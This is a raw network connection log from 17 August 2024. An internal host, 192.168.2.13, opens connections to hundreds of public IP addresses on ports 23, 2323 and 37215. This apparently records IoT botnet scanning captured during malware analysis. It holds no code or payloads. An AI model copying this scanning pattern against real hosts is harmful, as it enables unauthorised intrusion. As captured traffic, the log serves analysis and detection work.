Aug 17, 2024 01:01:52.568370104 CEST	2323	55204	70.233.198.252	192.168.2.13
Aug 17, 2024 01:01:52.568378925 CEST	43302	37215	192.168.2.13	41.15.52.191
Aug 17, 2024 01:01:52.568381071 CEST	23	45960	185.71.28.193	192.168.2.13
Aug 17, 2024 01:01:52.568392038 CEST	42246	23	192.168.2.13	176.36.28.227
Aug 17, 2024 01:01:52.568392992 CEST	23	52760	197.204.147.113	192.168.2.13
Aug 17, 2024 01:01:52.568403959 CEST	23	36242	41.111.189.4	192.168.2.13
Aug 17, 2024 01:01:52.568409920 CEST	55204	2323	192.168.2.13	70.233.198.252
Aug 17, 2024 01:01:52.568409920 CEST	45960	23	192.168.2.13	185.71.28.193
Aug 17, 2024 01:01:52.568419933 CEST	52760	23	192.168.2.13	197.204.147.113
Aug 17, 2024 01:01:52.568422079 CEST	23	43736	167.195.131.128	192.168.2.13
Aug 17, 2024 01:01:52.568433046 CEST	36242	23	192.168.2.13	41.111.189.4
Aug 17, 2024 01:01:52.568435907 CEST	23	46818	113.254.253.94	192.168.2.13
Aug 17, 2024 01:01:52.568448067 CEST	23	37598	161.177.27.104	192.168.2.13
Aug 17, 2024 01:01:52.568449020 CEST	39746	37215	192.168.2.13	197.20.0.149
Aug 17, 2024 01:01:52.568459034 CEST	23	45298	151.55.71.202	192.168.2.13
Aug 17, 2024 01:01:52.568464041 CEST	43736	23	192.168.2.13	167.195.131.128
Aug 17, 2024 01:01:52.568464041 CEST	41750	37215	192.168.2.13	197.207.57.76
Aug 17, 2024 01:01:52.568466902 CEST	46818	23	192.168.2.13	113.254.253.94
Aug 17, 2024 01:01:52.568478107 CEST	37598	23	192.168.2.13	161.177.27.104
Aug 17, 2024 01:01:52.568495035 CEST	45298	23	192.168.2.13	151.55.71.202
Aug 17, 2024 01:01:52.568497896 CEST	32828	37215	192.168.2.13	41.171.56.168
Aug 17, 2024 01:01:52.568517923 CEST	35346	37215	192.168.2.13	156.246.199.50
Aug 17, 2024 01:01:52.568523884 CEST	48434	37215	192.168.2.13	41.179.81.67
Aug 17, 2024 01:01:52.568538904 CEST	41516	37215	192.168.2.13	41.242.140.198
Aug 17, 2024 01:01:52.568547964 CEST	45478	37215	192.168.2.13	41.145.216.112
Aug 17, 2024 01:01:52.568572044 CEST	39366	37215	192.168.2.13	156.246.55.201
Aug 17, 2024 01:01:52.568578005 CEST	48604	37215	192.168.2.13	197.27.59.110
Aug 17, 2024 01:01:52.568586111 CEST	35816	37215	192.168.2.13	156.75.251.173
Aug 17, 2024 01:01:52.568594933 CEST	45506	37215	192.168.2.13	41.70.233.248
Aug 17, 2024 01:01:52.568617105 CEST	56832	37215	192.168.2.13	156.234.225.254
Aug 17, 2024 01:01:52.568630934 CEST	37134	37215	192.168.2.13	41.109.176.79
Aug 17, 2024 01:01:52.568640947 CEST	43396	37215	192.168.2.13	41.47.130.185
Aug 17, 2024 01:01:52.568641901 CEST	59594	37215	192.168.2.13	197.53.233.6
Aug 17, 2024 01:01:52.568666935 CEST	56096	37215	192.168.2.13	156.247.59.73
Aug 17, 2024 01:01:52.568675041 CEST	56096	37215	192.168.2.13	197.101.32.110
Aug 17, 2024 01:01:52.568684101 CEST	56170	37215	192.168.2.13	197.178.25.54
Aug 17, 2024 01:01:52.568684101 CEST	54068	37215	192.168.2.13	41.108.200.158
Aug 17, 2024 01:01:52.568697929 CEST	51418	37215	192.168.2.13	156.66.41.51
Aug 17, 2024 01:01:52.568706036 CEST	53138	37215	192.168.2.13	156.240.164.252
Aug 17, 2024 01:01:52.568722963 CEST	40090	37215	192.168.2.13	156.77.26.3
Aug 17, 2024 01:01:52.568737030 CEST	35208	37215	192.168.2.13	156.109.46.155
Aug 17, 2024 01:01:52.568738937 CEST	56676	37215	192.168.2.13	41.255.127.91
Aug 17, 2024 01:01:52.568748951 CEST	39720	37215	192.168.2.13	156.20.56.208
Aug 17, 2024 01:01:52.568764925 CEST	36230	37215	192.168.2.13	41.249.27.47
Aug 17, 2024 01:01:52.568766117 CEST	58630	37215	192.168.2.13	41.59.232.105
Aug 17, 2024 01:01:52.568778992 CEST	55554	37215	192.168.2.13	41.100.15.226
Aug 17, 2024 01:01:52.568790913 CEST	51218	37215	192.168.2.13	156.133.162.89
Aug 17, 2024 01:01:52.568804026 CEST	47644	37215	192.168.2.13	197.198.123.23
Aug 17, 2024 01:01:52.568806887 CEST	35316	37215	192.168.2.13	156.26.77.86
Aug 17, 2024 01:01:52.568825960 CEST	42620	37215	192.168.2.13	156.93.225.165
Aug 17, 2024 01:01:52.568835020 CEST	50276	37215	192.168.2.13	41.120.250.149
Aug 17, 2024 01:01:52.568835020 CEST	37710	37215	192.168.2.13	41.169.24.194
Aug 17, 2024 01:01:52.568871975 CEST	55838	37215	192.168.2.13	156.254.254.127
Aug 17, 2024 01:01:52.568881035 CEST	58540	37215	192.168.2.13	41.118.68.121
Aug 17, 2024 01:01:52.568891048 CEST	58038	37215	192.168.2.13	197.19.137.9
Aug 17, 2024 01:01:52.568900108 CEST	39320	37215	192.168.2.13	41.146.30.215
Aug 17, 2024 01:01:52.568900108 CEST	55598	37215	192.168.2.13	156.13.184.139
Aug 17, 2024 01:01:52.568908930 CEST	34782	37215	192.168.2.13	156.130.74.237
Aug 17, 2024 01:01:52.568919897 CEST	42732	37215	192.168.2.13	156.129.124.119
Aug 17, 2024 01:01:52.568928957 CEST	57458	37215	192.168.2.13	156.73.242.6
Aug 17, 2024 01:01:52.568943024 CEST	46340	37215	192.168.2.13	41.19.24.167
Aug 17, 2024 01:01:52.568949938 CEST	46268	37215	192.168.2.13	197.191.114.215
Aug 17, 2024 01:01:52.568970919 CEST	58106	37215	192.168.2.13	197.6.31.21
Aug 17, 2024 01:01:52.568970919 CEST	56156	37215	192.168.2.13	41.66.17.204
Aug 17, 2024 01:01:52.568994045 CEST	45960	37215	192.168.2.13	156.34.243.228
Aug 17, 2024 01:01:52.568999052 CEST	40042	37215	192.168.2.13	197.146.176.2
Aug 17, 2024 01:01:52.568999052 CEST	45872	37215	192.168.2.13	156.125.191.198
Aug 17, 2024 01:01:52.569013119 CEST	57260	37215	192.168.2.13	197.123.24.112
Aug 17, 2024 01:01:52.569024086 CEST	59352	37215	192.168.2.13	156.108.21.125
Aug 17, 2024 01:01:52.569050074 CEST	39070	37215	192.168.2.13	41.170.171.164
Aug 17, 2024 01:01:52.569065094 CEST	38140	37215	192.168.2.13	41.65.91.127
Aug 17, 2024 01:01:52.569065094 CEST	54172	37215	192.168.2.13	197.169.43.8
Aug 17, 2024 01:01:52.569073915 CEST	50628	37215	192.168.2.13	156.211.146.152
Aug 17, 2024 01:01:52.569075108 CEST	45326	37215	192.168.2.13	41.224.16.145
Aug 17, 2024 01:01:52.569088936 CEST	34724	37215	192.168.2.13	41.69.178.154
Aug 17, 2024 01:01:52.569104910 CEST	34708	37215	192.168.2.13	156.30.136.95
Aug 17, 2024 01:01:52.569114923 CEST	55620	37215	192.168.2.13	197.99.101.55
Aug 17, 2024 01:01:52.569130898 CEST	34628	37215	192.168.2.13	41.203.43.145
Aug 17, 2024 01:01:52.569130898 CEST	52016	37215	192.168.2.13	156.174.216.111
Aug 17, 2024 01:01:52.569149017 CEST	51860	37215	192.168.2.13	197.251.81.12
Aug 17, 2024 01:01:52.569161892 CEST	53592	37215	192.168.2.13	41.65.65.28
Aug 17, 2024 01:01:52.569173098 CEST	38220	37215	192.168.2.13	197.46.46.122
Aug 17, 2024 01:01:52.569181919 CEST	57612	37215	192.168.2.13	41.86.255.186
Aug 17, 2024 01:01:52.569195032 CEST	43454	37215	192.168.2.13	156.221.71.103
Aug 17, 2024 01:01:52.569195032 CEST	49320	37215	192.168.2.13	41.245.208.210
Aug 17, 2024 01:01:52.569212914 CEST	57176	37215	192.168.2.13	197.86.231.106
Aug 17, 2024 01:01:52.569219112 CEST	34680	37215	192.168.2.13	41.219.47.145
Aug 17, 2024 01:01:52.569230080 CEST	39812	37215	192.168.2.13	197.82.171.187
Aug 17, 2024 01:01:52.569237947 CEST	59504	37215	192.168.2.13	156.102.86.247
Aug 17, 2024 01:01:52.569268942 CEST	58658	37215	192.168.2.13	156.68.188.163
Aug 17, 2024 01:01:52.569278955 CEST	57568	37215	192.168.2.13	41.212.158.195
Aug 17, 2024 01:01:52.569279909 CEST	53210	37215	192.168.2.13	156.165.216.175
Aug 17, 2024 01:01:52.569282055 CEST	41986	37215	192.168.2.13	41.126.153.128
Aug 17, 2024 01:01:52.569295883 CEST	45718	37215	192.168.2.13	197.99.80.147
Aug 17, 2024 01:01:52.569310904 CEST	36218	37215	192.168.2.13	156.119.152.125
Aug 17, 2024 01:01:52.569336891 CEST	58558	37215	192.168.2.13	197.198.215.67
Aug 17, 2024 01:01:52.569338083 CEST	41756	37215	192.168.2.13	156.213.21.26
Aug 17, 2024 01:01:52.569350004 CEST	36578	37215	192.168.2.13	41.47.131.147
Aug 17, 2024 01:01:52.569366932 CEST	38430	37215	192.168.2.13	197.137.80.101
Aug 17, 2024 01:01:52.569381952 CEST	46172	37215	192.168.2.13	41.249.45.71
Aug 17, 2024 01:01:52.569390059 CEST	37792	37215	192.168.2.13	197.4.152.147
Aug 17, 2024 01:01:52.569396019 CEST	40118	37215	192.168.2.13	41.255.147.131
Aug 17, 2024 01:01:52.569397926 CEST	35452	37215	192.168.2.13	156.51.154.23
Aug 17, 2024 01:01:52.569417000 CEST	45892	37215	192.168.2.13	156.168.155.198
Aug 17, 2024 01:01:52.569431067 CEST	46730	37215	192.168.2.13	156.159.254.214
Aug 17, 2024 01:01:52.569442034 CEST	50546	37215	192.168.2.13	197.43.146.71
Aug 17, 2024 01:01:52.569463015 CEST	47844	37215	192.168.2.13	41.90.42.198
Aug 17, 2024 01:01:52.569463015 CEST	57920	37215	192.168.2.13	41.101.31.244
Aug 17, 2024 01:01:52.569463015 CEST	58192	37215	192.168.2.13	41.125.158.191
Aug 17, 2024 01:01:52.569489956 CEST	56818	37215	192.168.2.13	156.132.119.97
Aug 17, 2024 01:01:52.569499016 CEST	50076	37215	192.168.2.13	41.125.204.31
Aug 17, 2024 01:01:52.569502115 CEST	54560	37215	192.168.2.13	156.226.106.180
Aug 17, 2024 01:01:52.569509983 CEST	53138	37215	192.168.2.13	156.86.210.142
Aug 17, 2024 01:01:52.569520950 CEST	59428	37215	192.168.2.13	156.253.199.245
Aug 17, 2024 01:01:52.569529057 CEST	48708	37215	192.168.2.13	41.188.19.203
Aug 17, 2024 01:01:52.569542885 CEST	47600	37215	192.168.2.13	41.105.138.43
Aug 17, 2024 01:01:52.569546938 CEST	51244	37215	192.168.2.13	197.165.221.135
Aug 17, 2024 01:01:52.569567919 CEST	32858	37215	192.168.2.13	197.214.120.213
Aug 17, 2024 01:01:52.569576979 CEST	41004	37215	192.168.2.13	41.139.28.57
Aug 17, 2024 01:01:52.569587946 CEST	55318	37215	192.168.2.13	41.242.104.85
Aug 17, 2024 01:01:52.569596052 CEST	60680	37215	192.168.2.13	156.155.175.224
Aug 17, 2024 01:01:52.569602013 CEST	60386	37215	192.168.2.13	156.67.62.38
Aug 17, 2024 01:01:52.569611073 CEST	53570	37215	192.168.2.13	197.117.32.112
Aug 17, 2024 01:01:52.569629908 CEST	60630	37215	192.168.2.13	156.81.191.67
Aug 17, 2024 01:01:52.569645882 CEST	42230	37215	192.168.2.13	197.152.136.36
Aug 17, 2024 01:01:52.569660902 CEST	44674	37215	192.168.2.13	41.30.59.125
Aug 17, 2024 01:01:52.569660902 CEST	48212	37215	192.168.2.13	41.7.76.224
Aug 17, 2024 01:01:52.569679976 CEST	50212	37215	192.168.2.13	197.227.212.131
Aug 17, 2024 01:01:52.569681883 CEST	33658	37215	192.168.2.13	41.164.165.147
Aug 17, 2024 01:01:52.569695950 CEST	50674	37215	192.168.2.13	41.111.3.139
Aug 17, 2024 01:01:52.569695950 CEST	52154	37215	192.168.2.13	41.67.207.128
Aug 17, 2024 01:01:52.569730997 CEST	49946	37215	192.168.2.13	41.200.34.54
Aug 17, 2024 01:01:52.569741011 CEST	53256	37215	192.168.2.13	197.152.29.126
Aug 17, 2024 01:01:52.569751978 CEST	50568	37215	192.168.2.13	41.28.41.178
Aug 17, 2024 01:01:52.569761992 CEST	37564	37215	192.168.2.13	197.144.118.143
Aug 17, 2024 01:01:52.569766045 CEST	54112	37215	192.168.2.13	156.69.229.46
Aug 17, 2024 01:01:52.569778919 CEST	58666	37215	192.168.2.13	197.18.103.36
Aug 17, 2024 01:01:52.569794893 CEST	60284	37215	192.168.2.13	197.148.125.134
Aug 17, 2024 01:01:52.569794893 CEST	42702	37215	192.168.2.13	41.253.130.201
Aug 17, 2024 01:01:52.569825888 CEST	46268	37215	192.168.2.13	41.115.152.174
Aug 17, 2024 01:01:52.569825888 CEST	44578	37215	192.168.2.13	156.200.212.92
Aug 17, 2024 01:01:52.569828987 CEST	38868	37215	192.168.2.13	156.174.214.8
Aug 17, 2024 01:01:52.569835901 CEST	58256	37215	192.168.2.13	197.193.52.121
Aug 17, 2024 01:01:52.569842100 CEST	42356	37215	192.168.2.13	41.40.204.176
Aug 17, 2024 01:01:52.569849014 CEST	36984	37215	192.168.2.13	197.77.149.245
Aug 17, 2024 01:01:52.569878101 CEST	43332	37215	192.168.2.13	156.52.223.120
Aug 17, 2024 01:01:52.569879055 CEST	47264	37215	192.168.2.13	197.105.56.185
Aug 17, 2024 01:01:52.569888115 CEST	51362	37215	192.168.2.13	41.72.36.21
Aug 17, 2024 01:01:52.569895983 CEST	33368	37215	192.168.2.13	197.242.157.20
Aug 17, 2024 01:01:52.569907904 CEST	47108	37215	192.168.2.13	41.224.178.253
Aug 17, 2024 01:01:52.569935083 CEST	44492	37215	192.168.2.13	41.33.53.167
Aug 17, 2024 01:01:52.569938898 CEST	57734	37215	192.168.2.13	41.190.82.22
Aug 17, 2024 01:01:52.569948912 CEST	45046	37215	192.168.2.13	197.33.118.207
Aug 17, 2024 01:01:52.569953918 CEST	33030	37215	192.168.2.13	156.130.182.89
Aug 17, 2024 01:01:52.569966078 CEST	52624	37215	192.168.2.13	197.134.164.58
Aug 17, 2024 01:01:52.569971085 CEST	41612	37215	192.168.2.13	41.246.45.174
Aug 17, 2024 01:01:52.569993973 CEST	34822	37215	192.168.2.13	197.81.111.53
Aug 17, 2024 01:01:52.569999933 CEST	45364	37215	192.168.2.13	156.153.26.52
Aug 17, 2024 01:01:52.570035934 CEST	55986	37215	192.168.2.13	197.131.244.219
Aug 17, 2024 01:01:52.570035934 CEST	49622	37215	192.168.2.13	41.135.249.76
Aug 17, 2024 01:01:52.570049047 CEST	39632	37215	192.168.2.13	41.254.227.85
Aug 17, 2024 01:01:52.570050001 CEST	51582	37215	192.168.2.13	197.163.251.194
Aug 17, 2024 01:01:52.570055008 CEST	52672	37215	192.168.2.13	156.207.217.207
Aug 17, 2024 01:01:52.570070028 CEST	38018	37215	192.168.2.13	41.85.61.96
Aug 17, 2024 01:01:52.570074081 CEST	44218	37215	192.168.2.13	156.127.131.95
Aug 17, 2024 01:01:52.570077896 CEST	41772	37215	192.168.2.13	156.224.77.37
Aug 17, 2024 01:01:52.570086956 CEST	46300	37215	192.168.2.13	156.167.239.5
Aug 17, 2024 01:01:52.570099115 CEST	34998	37215	192.168.2.13	197.145.99.21
Aug 17, 2024 01:01:52.570117950 CEST	53980	37215	192.168.2.13	41.145.152.60
Aug 17, 2024 01:01:52.570117950 CEST	59928	37215	192.168.2.13	197.223.197.153
Aug 17, 2024 01:01:52.570137024 CEST	42812	37215	192.168.2.13	197.59.22.76
Aug 17, 2024 01:01:52.570142031 CEST	54780	37215	192.168.2.13	41.187.163.243
Aug 17, 2024 01:01:52.570163012 CEST	57456	37215	192.168.2.13	41.60.50.8
Aug 17, 2024 01:01:52.570166111 CEST	54994	37215	192.168.2.13	41.81.36.0
Aug 17, 2024 01:01:52.570182085 CEST	56138	37215	192.168.2.13	197.82.247.73
Aug 17, 2024 01:01:52.570192099 CEST	36020	37215	192.168.2.13	156.136.35.194
Aug 17, 2024 01:01:52.570208073 CEST	43258	37215	192.168.2.13	156.35.151.19
Aug 17, 2024 01:01:52.570214987 CEST	36962	37215	192.168.2.13	197.178.219.110
Aug 17, 2024 01:01:52.570228100 CEST	57302	37215	192.168.2.13	156.47.228.225
Aug 17, 2024 01:01:52.570228100 CEST	50768	37215	192.168.2.13	156.84.141.220
Aug 17, 2024 01:01:52.570244074 CEST	43066	37215	192.168.2.13	41.149.96.72
Aug 17, 2024 01:01:52.570252895 CEST	54118	37215	192.168.2.13	197.251.210.162
Aug 17, 2024 01:01:52.570256948 CEST	51808	37215	192.168.2.13	156.169.83.79
Aug 17, 2024 01:01:52.570271015 CEST	50154	37215	192.168.2.13	156.203.116.210
Aug 17, 2024 01:01:52.570291042 CEST	60514	37215	192.168.2.13	41.178.253.124
Aug 17, 2024 01:01:52.570298910 CEST	39884	37215	192.168.2.13	156.236.94.230
Aug 17, 2024 01:01:52.570307016 CEST	33816	37215	192.168.2.13	41.56.250.184
Aug 17, 2024 01:01:52.570324898 CEST	44918	37215	192.168.2.13	41.188.165.36
Aug 17, 2024 01:01:52.570331097 CEST	37006	37215	192.168.2.13	41.37.209.74
Aug 17, 2024 01:01:52.570348024 CEST	34054	37215	192.168.2.13	41.217.242.186
Aug 17, 2024 01:01:52.570348024 CEST	35236	37215	192.168.2.13	197.182.20.163
Aug 17, 2024 01:01:52.570368052 CEST	55612	37215	192.168.2.13	197.20.218.51
Aug 17, 2024 01:01:52.570378065 CEST	54320	37215	192.168.2.13	156.205.144.104
Aug 17, 2024 01:01:52.570390940 CEST	38684	37215	192.168.2.13	41.74.137.213
Aug 17, 2024 01:01:52.570408106 CEST	60682	37215	192.168.2.13	41.125.179.222
Aug 17, 2024 01:01:52.570511103 CEST	35690	37215	192.168.2.13	41.184.94.93
Aug 17, 2024 01:01:52.572448015 CEST	37215	24911	156.11.0.154	192.168.2.13
Aug 17, 2024 01:01:52.572459936 CEST	37215	24911	156.42.241.51	192.168.2.13
Aug 17, 2024 01:01:52.572494030 CEST	24911	37215	192.168.2.13	156.11.0.154
Aug 17, 2024 01:01:52.572505951 CEST	24911	37215	192.168.2.13	156.42.241.51
Aug 17, 2024 01:01:52.572530031 CEST	37215	24911	197.77.108.93	192.168.2.13
Aug 17, 2024 01:01:52.572550058 CEST	37215	24911	156.124.114.28	192.168.2.13
Aug 17, 2024 01:01:52.572561979 CEST	37215	24911	197.131.247.58	192.168.2.13
Aug 17, 2024 01:01:52.572565079 CEST	24911	37215	192.168.2.13	197.77.108.93
Aug 17, 2024 01:01:52.572575092 CEST	37215	24911	197.233.181.104	192.168.2.13
Aug 17, 2024 01:01:52.572586060 CEST	37215	24911	41.104.228.157	192.168.2.13
Aug 17, 2024 01:01:52.572597027 CEST	37215	24911	197.109.141.223	192.168.2.13
Aug 17, 2024 01:01:52.572597980 CEST	24911	37215	192.168.2.13	197.131.247.58
Aug 17, 2024 01:01:52.572608948 CEST	24911	37215	192.168.2.13	197.233.181.104
Aug 17, 2024 01:01:52.572608948 CEST	24911	37215	192.168.2.13	41.104.228.157
Aug 17, 2024 01:01:52.572611094 CEST	24911	37215	192.168.2.13	156.124.114.28
Aug 17, 2024 01:01:52.572621107 CEST	37215	24911	197.81.9.101	192.168.2.13
Aug 17, 2024 01:01:52.572628021 CEST	24911	37215	192.168.2.13	197.109.141.223
Aug 17, 2024 01:01:52.572644949 CEST	37215	24911	156.186.214.34	192.168.2.13
Aug 17, 2024 01:01:52.572650909 CEST	24911	37215	192.168.2.13	197.81.9.101
Aug 17, 2024 01:01:52.572664022 CEST	37215	24911	41.237.68.28	192.168.2.13
Aug 17, 2024 01:01:52.572676897 CEST	37215	24911	197.46.139.125	192.168.2.13
Aug 17, 2024 01:01:52.572679043 CEST	24911	37215	192.168.2.13	156.186.214.34
Aug 17, 2024 01:01:52.572689056 CEST	37215	24911	41.104.87.75	192.168.2.13
Aug 17, 2024 01:01:52.572700024 CEST	37215	24911	41.5.140.208	192.168.2.13
Aug 17, 2024 01:01:52.572714090 CEST	37215	24911	41.218.157.167	192.168.2.13
Aug 17, 2024 01:01:52.572714090 CEST	24911	37215	192.168.2.13	197.46.139.125
Aug 17, 2024 01:01:52.572719097 CEST	24911	37215	192.168.2.13	41.237.68.28
Aug 17, 2024 01:01:52.572721004 CEST	24911	37215	192.168.2.13	41.104.87.75
Aug 17, 2024 01:01:52.572726965 CEST	24911	37215	192.168.2.13	41.5.140.208
Aug 17, 2024 01:01:52.572727919 CEST	37215	24911	156.119.0.235	192.168.2.13
Aug 17, 2024 01:01:52.572740078 CEST	37215	24911	41.38.176.133	192.168.2.13
Aug 17, 2024 01:01:52.572747946 CEST	37215	24911	156.234.175.39	192.168.2.13
Aug 17, 2024 01:01:52.572748899 CEST	24911	37215	192.168.2.13	41.218.157.167
Aug 17, 2024 01:01:52.572756052 CEST	24911	37215	192.168.2.13	156.119.0.235
Aug 17, 2024 01:01:52.572760105 CEST	37215	24911	41.141.47.84	192.168.2.13
Aug 17, 2024 01:01:52.572781086 CEST	24911	37215	192.168.2.13	156.234.175.39
Aug 17, 2024 01:01:52.572793007 CEST	24911	37215	192.168.2.13	41.141.47.84
Aug 17, 2024 01:01:52.572793961 CEST	24911	37215	192.168.2.13	41.38.176.133
Aug 17, 2024 01:01:52.572835922 CEST	37215	24911	197.255.23.140	192.168.2.13
Aug 17, 2024 01:01:52.572851896 CEST	37215	24911	156.161.31.200	192.168.2.13
Aug 17, 2024 01:01:52.572861910 CEST	37215	24911	41.170.179.141	192.168.2.13
Aug 17, 2024 01:01:52.572871923 CEST	37215	24911	197.107.15.205	192.168.2.13
Aug 17, 2024 01:01:52.572880983 CEST	37215	24911	41.131.30.181	192.168.2.13
Aug 17, 2024 01:01:52.572885036 CEST	24911	37215	192.168.2.13	156.161.31.200
Aug 17, 2024 01:01:52.572889090 CEST	24911	37215	192.168.2.13	197.255.23.140
Aug 17, 2024 01:01:52.572890997 CEST	37215	24911	197.226.149.27	192.168.2.13
Aug 17, 2024 01:01:52.572892904 CEST	24911	37215	192.168.2.13	41.170.179.141
Aug 17, 2024 01:01:52.572896957 CEST	24911	37215	192.168.2.13	197.107.15.205
Aug 17, 2024 01:01:52.572900057 CEST	37215	24911	156.214.69.49	192.168.2.13
Aug 17, 2024 01:01:52.572911024 CEST	37215	24911	197.15.205.21	192.168.2.13
Aug 17, 2024 01:01:52.572917938 CEST	24911	37215	192.168.2.13	41.131.30.181
Aug 17, 2024 01:01:52.572925091 CEST	24911	37215	192.168.2.13	197.226.149.27
Aug 17, 2024 01:01:52.572940111 CEST	24911	37215	192.168.2.13	156.214.69.49
Aug 17, 2024 01:01:52.572947025 CEST	37215	24911	41.216.7.98	192.168.2.13
Aug 17, 2024 01:01:52.572947025 CEST	24911	37215	192.168.2.13	197.15.205.21
Aug 17, 2024 01:01:52.572957039 CEST	37215	24911	197.239.210.255	192.168.2.13
Aug 17, 2024 01:01:52.572967052 CEST	37215	24911	197.137.99.127	192.168.2.13
Aug 17, 2024 01:01:52.572976112 CEST	37215	24911	156.100.228.1	192.168.2.13
Aug 17, 2024 01:01:52.572978020 CEST	24911	37215	192.168.2.13	41.216.7.98
Aug 17, 2024 01:01:52.572985888 CEST	37215	24911	41.229.89.49	192.168.2.13
Aug 17, 2024 01:01:52.572988033 CEST	24911	37215	192.168.2.13	197.239.210.255
Aug 17, 2024 01:01:52.572995901 CEST	37215	24911	156.249.45.211	192.168.2.13
Aug 17, 2024 01:01:52.572999001 CEST	24911	37215	192.168.2.13	197.137.99.127
Aug 17, 2024 01:01:52.573007107 CEST	37215	24911	41.70.183.133	192.168.2.13
Aug 17, 2024 01:01:52.573008060 CEST	24911	37215	192.168.2.13	156.100.228.1
Aug 17, 2024 01:01:52.573010921 CEST	37215	24911	41.171.111.247	192.168.2.13
Aug 17, 2024 01:01:52.573029041 CEST	24911	37215	192.168.2.13	41.229.89.49
Aug 17, 2024 01:01:52.573045015 CEST	24911	37215	192.168.2.13	41.171.111.247
Aug 17, 2024 01:01:52.573050022 CEST	24911	37215	192.168.2.13	41.70.183.133
Aug 17, 2024 01:01:52.573050022 CEST	24911	37215	192.168.2.13	156.249.45.211
Aug 17, 2024 01:01:52.573174953 CEST	37215	24911	197.168.58.126	192.168.2.13
Aug 17, 2024 01:01:52.573198080 CEST	37215	24911	197.169.84.92	192.168.2.13
Aug 17, 2024 01:01:52.573206902 CEST	37215	24911	41.91.186.68	192.168.2.13
Aug 17, 2024 01:01:52.573208094 CEST	24911	37215	192.168.2.13	197.168.58.126
Aug 17, 2024 01:01:52.573229074 CEST	24911	37215	192.168.2.13	197.169.84.92
Aug 17, 2024 01:01:52.573242903 CEST	24911	37215	192.168.2.13	41.91.186.68
Aug 17, 2024 01:01:52.573352098 CEST	37215	24911	41.221.210.15	192.168.2.13
Aug 17, 2024 01:01:52.573363066 CEST	37215	24911	41.148.220.57	192.168.2.13
Aug 17, 2024 01:01:52.573374987 CEST	37215	24911	41.208.118.205	192.168.2.13
Aug 17, 2024 01:01:52.573384047 CEST	37215	24911	41.237.146.35	192.168.2.13
Aug 17, 2024 01:01:52.573384047 CEST	24911	37215	192.168.2.13	41.221.210.15
Aug 17, 2024 01:01:52.573394060 CEST	37215	24911	156.2.223.209	192.168.2.13
Aug 17, 2024 01:01:52.573399067 CEST	37215	24911	41.202.176.45	192.168.2.13
Aug 17, 2024 01:01:52.573405027 CEST	24911	37215	192.168.2.13	41.208.118.205
Aug 17, 2024 01:01:52.573405981 CEST	37215	24911	41.118.209.161	192.168.2.13
Aug 17, 2024 01:01:52.573417902 CEST	37215	24911	197.194.241.177	192.168.2.13
Aug 17, 2024 01:01:52.573425055 CEST	24911	37215	192.168.2.13	156.2.223.209
Aug 17, 2024 01:01:52.573427916 CEST	24911	37215	192.168.2.13	41.202.176.45
Aug 17, 2024 01:01:52.573429108 CEST	24911	37215	192.168.2.13	41.237.146.35
Aug 17, 2024 01:01:52.573431015 CEST	37215	24911	156.122.231.29	192.168.2.13
Aug 17, 2024 01:01:52.573438883 CEST	24911	37215	192.168.2.13	41.148.220.57
Aug 17, 2024 01:01:52.573441029 CEST	24911	37215	192.168.2.13	41.118.209.161
Aug 17, 2024 01:01:52.573441029 CEST	37215	24911	156.247.235.78	192.168.2.13
Aug 17, 2024 01:01:52.573442936 CEST	24911	37215	192.168.2.13	197.194.241.177
Aug 17, 2024 01:01:52.573451996 CEST	37215	24911	197.143.45.200	192.168.2.13
Aug 17, 2024 01:01:52.573458910 CEST	24911	37215	192.168.2.13	156.122.231.29
Aug 17, 2024 01:01:52.573461056 CEST	37215	24911	156.233.44.208	192.168.2.13
Aug 17, 2024 01:01:52.573470116 CEST	37215	24911	41.75.69.3	192.168.2.13
Aug 17, 2024 01:01:52.573473930 CEST	24911	37215	192.168.2.13	156.247.235.78
Aug 17, 2024 01:01:52.573473930 CEST	24911	37215	192.168.2.13	197.143.45.200
Aug 17, 2024 01:01:52.573492050 CEST	24911	37215	192.168.2.13	156.233.44.208
Aug 17, 2024 01:01:52.573501110 CEST	24911	37215	192.168.2.13	41.75.69.3
Aug 17, 2024 01:01:52.573623896 CEST	37215	24911	41.74.76.129	192.168.2.13
Aug 17, 2024 01:01:52.573633909 CEST	37215	24911	197.130.140.173	192.168.2.13
Aug 17, 2024 01:01:52.573642969 CEST	37215	24911	41.97.32.77	192.168.2.13
Aug 17, 2024 01:01:52.573662043 CEST	24911	37215	192.168.2.13	197.130.140.173
Aug 17, 2024 01:01:52.573662043 CEST	24911	37215	192.168.2.13	41.74.76.129
Aug 17, 2024 01:01:52.573678017 CEST	24911	37215	192.168.2.13	41.97.32.77
Aug 17, 2024 01:01:52.573705912 CEST	37215	24911	156.251.163.228	192.168.2.13
Aug 17, 2024 01:01:52.573717117 CEST	37215	24911	156.37.151.103	192.168.2.13
Aug 17, 2024 01:01:52.573725939 CEST	37215	24911	197.235.23.183	192.168.2.13
Aug 17, 2024 01:01:52.573729992 CEST	37215	24911	41.32.132.80	192.168.2.13
Aug 17, 2024 01:01:52.573734999 CEST	37215	24911	197.135.115.96	192.168.2.13
Aug 17, 2024 01:01:52.573735952 CEST	24911	37215	192.168.2.13	156.251.163.228
Aug 17, 2024 01:01:52.573740959 CEST	37215	24911	197.252.125.147	192.168.2.13
Aug 17, 2024 01:01:52.573754072 CEST	37215	24911	41.81.225.82	192.168.2.13
Aug 17, 2024 01:01:52.573760986 CEST	24911	37215	192.168.2.13	197.235.23.183
Aug 17, 2024 01:01:52.573762894 CEST	24911	37215	192.168.2.13	197.135.115.96
Aug 17, 2024 01:01:52.573762894 CEST	24911	37215	192.168.2.13	197.252.125.147
Aug 17, 2024 01:01:52.573765993 CEST	24911	37215	192.168.2.13	156.37.151.103
Aug 17, 2024 01:01:52.573771000 CEST	37215	24911	197.96.47.115	192.168.2.13
Aug 17, 2024 01:01:52.573780060 CEST	37215	24911	197.120.217.7	192.168.2.13
Aug 17, 2024 01:01:52.573786974 CEST	24911	37215	192.168.2.13	41.81.225.82
Aug 17, 2024 01:01:52.573788881 CEST	37215	24911	197.182.80.40	192.168.2.13
Aug 17, 2024 01:01:52.573796034 CEST	24911	37215	192.168.2.13	41.32.132.80
Aug 17, 2024 01:01:52.573796034 CEST	24911	37215	192.168.2.13	197.96.47.115
Aug 17, 2024 01:01:52.573801994 CEST	37215	24911	41.26.220.216	192.168.2.13
Aug 17, 2024 01:01:52.573807001 CEST	24911	37215	192.168.2.13	197.120.217.7
Aug 17, 2024 01:01:52.573812008 CEST	37215	24911	197.75.242.112	192.168.2.13
Aug 17, 2024 01:01:52.573817968 CEST	24911	37215	192.168.2.13	197.182.80.40
